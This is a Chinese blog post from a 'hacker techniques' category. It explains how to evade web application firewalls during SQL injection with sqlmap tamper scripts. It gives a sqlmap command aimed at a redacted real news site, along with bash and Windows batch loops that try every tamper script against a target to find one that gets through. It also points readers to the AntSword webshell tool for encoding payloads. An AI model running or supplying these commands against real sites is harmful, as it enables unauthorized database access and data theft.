Sqlmap粗暴地绕过waf(网络应用防火墙)方法

许多情况下我们可以通过使用sqlmap中的tamper脚本来对目标进行更高效的攻击。tamper脚本的作用是修改我们发出的请求来防止其被WAF(网络应用防火墙)拦截。在某些情况你可能需要把一些脚本合并到一起才能过WAF。

 

脚本的完整列表地址在sqlmap/tamper。

使用方法是加参数--tamper name.py--tamper name1.py,name2.py,name3.py……

 

简单用法示例:

c:\Python27\sqlmap>sqlmap.py -u "http://www.***.com/news/html/index.php?id=829" -v 3 --dbs --batch --tamper "space2morehash.py"

 

上面只是单一的用“--tamper ”这个参数来绕过WAF,以下再给大家详细的讲解讲解关于sqlmap绕WAF的问题,具体请向下看:

 

1、linux下sqlmap/tamper脚本位置:

linux下tamper脚本位置

 

2、win下sqlmap/tamper脚本位置:

win下sqlmap/tamper脚本位置

 

通过上图可以看出:有那么多tamper脚本,Linux下该如何快速找出适合的?

一个一个来试是否是太累太费劲,而且对有些小白来讲很难记住每个tamper脚本具体是做什么用的?土司的lostwolf写了一个sh命令,可以在kali下直接依次使用每个tamper脚本,从而找到合适的。

该shell语句是:

for t in `ls /usr/share/sqlmap/tamper/*.py`; do echo -e "e[41;1m tamper: $te[0m"; sqlmap -u "http://192.168.1.100/sql.asp?id=1" --dbs --random-agent --smart --batch --tamper $t --threads 10;done;

结果如下:

使用每个tamper脚本,从而找到合适的

sh语句简单说明:

--random-agent参数随机;random-agent 随机agent头 ;

--smart 智能机的方式;

--batch 默认选择接收输入;

echo -e "e[41;1m tamper: $te[0m"; 是为了红底白字显示当前使用的tamper脚本。

 

如果在windows下又怎么办呢?

我写了一个批处理,命令如下(sqlmap路径位置自行更改):

for /f "delims=" %%i in ('dir /b D:sqlmap	amper*.py') do d:sqlmapsqlmap.py -u "http://192.168.1.100/sql.asp?id=1" --dbs --random-agent --smart --batch --tamper %%i --threads 10

sqlmap批处理命令windos

当然这个方法也是有缺陷的,会非常粗暴地调用每个tamper脚本来试一次,并且不会组合脚本来测试了,所以大家如果能了解每个tamper脚本作用,精准的调用,会省力省时很多。

 

注意:不管以后做什么?绕过WAF最好的方法就是“编码”,具体可以看一下:中国蚁剑下载、安装、使用教程,它里面特意讲到了用编码器加密绕过WAF的问题。

    A+
发布日期:2018年03月07日 18:18:53  所属分类:黑客技术
最后更新时间:2021-07-07 15:32:41
标签:
头像
  • ¥ 98.0元
  • 市场价:298.0元
  • ¥ 99.0元
  • 市场价:129.0元
  • ¥ 98.0元
  • 市场价:398.0元
  • ¥ 49.0元
  • 市场价:199.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

目前评论:2   其中:访客  0   博主  0

  1. 头像 john 0

    对于那种检测到非法输入就屏蔽IP几分钟的WAF来说,这样基本没有用

    • 付杰 付杰

      @john 怎么说呢?好比:矛盾这种关系吧!什么都没有绝对!